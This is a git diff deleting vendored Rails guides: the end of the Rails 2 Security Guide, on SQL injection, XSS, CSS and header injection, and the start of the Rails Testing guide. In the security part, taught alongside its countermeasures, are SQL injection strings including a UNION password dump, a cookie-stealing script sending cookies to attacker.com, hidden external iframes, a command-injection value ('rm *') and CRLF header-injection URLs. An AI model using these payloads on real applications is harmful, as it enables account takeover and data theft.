-Project.find(:all, :conditions => "name = '#{params[:name]}'")
-</ruby>
-
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
-
-<sql>
-SELECT * FROM projects WHERE name = '' OR 1 --'
-</sql>
-
-The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-
-h5. Bypassing Authorization
-
-Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-
-<ruby>
-User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
-</ruby>
-
-If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-
-<sql>
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
-</sql>
-
-This will simply find the first record in the database, and grants access to this user.
-
-h5. Unauthorized Reading
-
-The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-
-<ruby>
-Project.find(:all, :conditions => "name = '#{params[:name]}'")
-</ruby>
-
-And now let's inject another query using the UNION statement:
-
-<plain>
-') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-</plain>
-
-This will result in the following SQL query:
-
-<sql>
-SELECT * FROM projects WHERE (name = '') UNION
-  SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-</sql>
-
-The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
-
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
-
-h5. Countermeasures
-
-Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
-
-Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-
-<ruby>
-Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
-</ruby>
-
-As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-
-<ruby>
-Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
-</ruby>
-
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
-
-h4. Cross-Site Scripting (XSS)
-
--- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-
-h5. Entry Points
-
-An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
-
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
-
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
-
-h5. HTML/JavaScript Injection
-
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
-
-Here is the most straightforward test to check for XSS:
-
-<html>
-<script>alert('Hello');</script>
-</html>
-
-This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-
-<html>
-<img src=javascript:alert('Hello')>
-<table background="javascript:alert('Hello')">
-</html>
-
-h6. Cookie Theft
-
-These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-
-<plain>
-<script>document.write(document.cookie);</script>
-</plain>
-
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
-
-<html>
-<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-</html>
-
-The log files on www.attacker.com will read like this:
-
-<plain>
-GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</plain>
-
-You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
-
-h6. Defacement
-
-With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-
-<html>
-<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-</html>
-
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
-
-A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
-
-Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-
-<plain>
-http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
-  <script src=http://www.securitylab.ru/test/sc.js></script><!--
-</plain>
-
-h6. Countermeasures
-
-_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-
-Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-
-<ruby>
-strip_tags("some<<b>script>alert('hello')<</b>/script>")
-</ruby>
-
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-
-<ruby>
-tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
-s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-</ruby>
-
-This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-
-As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
-
-h6. Obfuscation and Encoding Injection
-
-Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-
-<html>
-<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
-  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
-</html>
-
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks.
-
-h5. Examples from the Underground
-
-_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
-
-The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
-
-<html>
-<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
-  target=""onload="var http_request = false;    var Email = '';
-  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
-</html>
-
-The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-
-In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
-
-The MySpace Samy worm will be discussed in the CSS Injection section.
-
-h4. CSS Injection
-
--- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-
-CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
-
-MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-
-<html>
-<div style="background:url('javascript:alert(1)')">
-</html>
-
-So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-</html>
-
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-
-<plain>
-alert(eval('document.body.inne' + 'rHTML'));
-</plain>
-
-The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-
-<html>
-<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-</html>
-
-Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
-
-In the end, he got a 4 KB worm, which he injected into his profile page.
-
-The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-
-h5. Countermeasures
-
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
-
-h4. Textile Injection
-
--- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
-
-For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>').to_html
-# => "<script>alert(1)</script>"
-</ruby>
-
-Use the :filter_html option to remove HTML which was not created by the Textile processor.
-
-<ruby>
-RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-# => "alert(1)"
-</ruby>
-
-However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-
-<ruby>
-RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-# => "<p><a href="javascript:alert(1)">hello</a></p>"
-</ruby>
-
-h5. Countermeasures
-
-It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-
-h4. Ajax Injection
-
--- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-
-If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-
-h4. RJS Injection
-
--- _Don't forget to escape in JavaScript (RJS) templates, too._
-
-The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <em class="highlight">If you allow user input in RJS templates, do escape it using +escape_javascript()+ within JavaScript functions, and in HTML parts using +h()+</em>. Otherwise an attacker could execute arbitrary JavaScript.
-
-h4. Command Line Injection
-
--- _Use user-supplied command line parameters with caution._
-
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
-
-A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
-
-<ruby>
-system("/bin/echo","hello; rm *")
-# prints "hello; rm *" and does not delete files
-</ruby>
-
-
-h4. Header Injection
-
--- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
-
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-
-Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-
-<ruby>
-redirect_to params[:referer]
-</ruby>
-
-What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</plain>
-
-And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-
-<plain>
-http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
-http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</plain>
-
-Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-
-<plain>
-HTTP/1.1 302 Moved Temporarily
-(...)
-Location: http://www.malicious.tld
-</plain>
-
-So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
-
-h5. Response Splitting
-
-If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-
-<plain>
-HTTP/1.1 302 Found [First standard 302 response]
-Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
-
-
-HTTP/1.1 200 OK [Second New response created by attacker begins]
-Content-Type: text/html
-
-
-&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
-Keep-Alive: timeout=15, max=100         shown as the redirected page]
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: text/html
-</plain>
-
-Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
-
-
-h3. Additional Resources
-
-The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-
-* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
-* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
-* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
-* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7
-
-* November 1, 2008: First approved version by Heiko Webers
diff --git a/vendor/rails/railties/guides/source/testing.textile b/vendor/rails/railties/guides/source/testing.textile
deleted file mode 100644
index 12fc836e..00000000
--- a/vendor/rails/railties/guides/source/testing.textile
+++ /dev/null
@@ -1,951 +0,0 @@
-h2. A Guide to Testing Rails Applications
-
-This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
-
-* Understand Rails testing terminology
-* Write unit, functional and integration tests for your application
-* Identify other popular testing approaches and plugins
-
-This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
-
-endprologue.
-
-h3. Why Write Tests for your Rails Applications?
-
-* Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
-* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
-* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
-
-h3. Introduction to Testing
-
-Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-
-h4. The Three Environments
-
-Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
-
-One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
-
-* production
-* development
-* test
-
-This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
-
-For example, suppose you need to test your new +delete_this_user_and_every_everything_associated_with_it+ function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?
-
-When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
-
-h4. Rails Sets up for Testing from the Word Go
-
-Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see:
-
-<shell>
-$ ls -F test/
-
-fixtures/       functional/     integration/    test_helper.rb  unit/
-</shell>
-
-The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
-
-h4. The Low-Down on Fixtures
-
-For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-
-h5. What are Fixtures?
-
-_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format.
-
-You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
-
-h5. YAML
-
-YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
-
-Here's a sample YAML fixture file:
-
-<yaml>
-# low & behold!  I am a YAML comment!
-david:
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
-steve:
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-</yaml>
-
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-
-h5. ERb'in It Up
-
-ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.
-
-<erb>
-<% earth_size = 20 -%>
-mercury:
-  size: <%= earth_size / 50 %>
-  brightest_on: <%= 113.days.ago.to_s(:db) %>
-
-venus:
-  size: <%= earth_size / 2 %>
-  brightest_on: <%= 67.days.ago.to_s(:db) %>
-
-mars:
-  size: <%= earth_size - 69 %>
-  brightest_on: <%= 13.days.from_now.to_s(:db) %>
-</erb>
-
-Anything encased within the
-
-<erb>
-<% %>
-</erb>
-
-tag is considered Ruby code. When this fixture is loaded, the +size+ attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The +brightest_on+ attribute will also be evaluated and formatted by Rails to be compatible with the database.
-
-h5. Fixtures in Action
-
-Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps:
-
-* Remove any existing data from the table corresponding to the fixture
-* Load the fixture data into the table
-* Dump the fixture data into a variable in case you want to access it directly
-
-h5. Hashes with Special Powers
-
-Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:
-
-<ruby>
-# this will return the Hash for the fixture named david
-users(:david)
-
-# this will return the property for david called id
-users(:david).id
-</ruby>
-
-Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.
-
-<ruby>
-# using the find method, we grab the "real" david as a User
-david = users(:david).find
-
-# and now we have access to methods only available to a User class
-email(david.girlfriend.email, david.location_tonight)
-</ruby>
-
-h3. Unit Testing your Models
-
-In Rails, unit tests are what you write to test your models.
-
-For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.
-
-NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":getting_started.html
-
-When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
-
-<pre>
-$ script/generate scaffold post title:string body:text
-...
-create  app/models/post.rb
-create  test/unit/post_test.rb
-create  test/fixtures/posts.yml
-...
-</pre>
-
-The default test stub in +test/unit/post_test.rb+ looks like this:
-
-<ruby>
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
-  # Replace this with your real tests.
-  def test_truth
-    assert true
-  end
-end
-</ruby>
-
-A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-
-<ruby>
-require 'test_helper'
-</ruby>
-
-As you know by now that +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-
-<ruby>
-class PostTest < ActiveSupport::TestCase
-</ruby>
-
-The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
-
-<ruby>
-def test_truth
-</ruby>
-
-Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
-
-<ruby>
-assert true
-</ruby>
-
-This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
-
-* is this value = that value?
-* is this object nil?
-* does this line of code throw an exception?
-* is the user's password greater than 5 characters?
-
-Every test contains one or more assertions. Only when all the assertions are successful the test passes.
-
-h4. Preparing your Application for Testing
-
-Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:
-
-<shell>
-$ rake db:migrate
-...
-$ rake db:test:load
-</shell>
-
-Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environment and updates +db/schema.rb+. +rake db:test:load+ recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run +db:test:prepare+ as it first checks for pending migrations and warns you appropriately.
-
-NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists.
-
-h5. Rake Tasks for Preparing your Application for Testing
-
-|_.Tasks                         |_.Description|
-|+rake db:test:clone+            |Recreate the test database from the current environment's database schema|
-|+rake db:test:clone_structure+  |Recreate the test databases from the development structure|
-|+rake db:test:load+             |Recreate the test database from the current +schema.rb+|
-|+rake db:test:prepare+          |Check for pending migrations and load the test schema|
-|+rake db:test:purge+            |Empty the test database.|
-
-TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
-
-h4. Running Tests
-
-Running a test is as simple as invoking the file containing the test cases through Ruby:
-
-<shell>
-$ cd test
-$ ruby unit/post_test.rb
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
-
-This will run all the test methods from the test case.
-
-You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
-
-<pre>
-$ ruby unit/post_test.rb -n test_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors
-</pre>
-
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
-
-To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-
-<ruby>
-def test_should_not_save_post_without_title
-  post = Post.new
-  assert !post.save
-end
-</ruby>
-
-Let us run this newly added test.
-
-<pre>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.197094 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-</pre>
-
-In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
-
-<ruby>
-def test_should_not_save_post_without_title
-  post = Post.new
-  assert !post.save, "Saved the post without a title"
-end
-</ruby>
-
-Running this test shows the friendlier assertion message:
-
-<pre>
-$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.198093 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-Saved the post without a title.
-<false> is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors
-</pre>
-
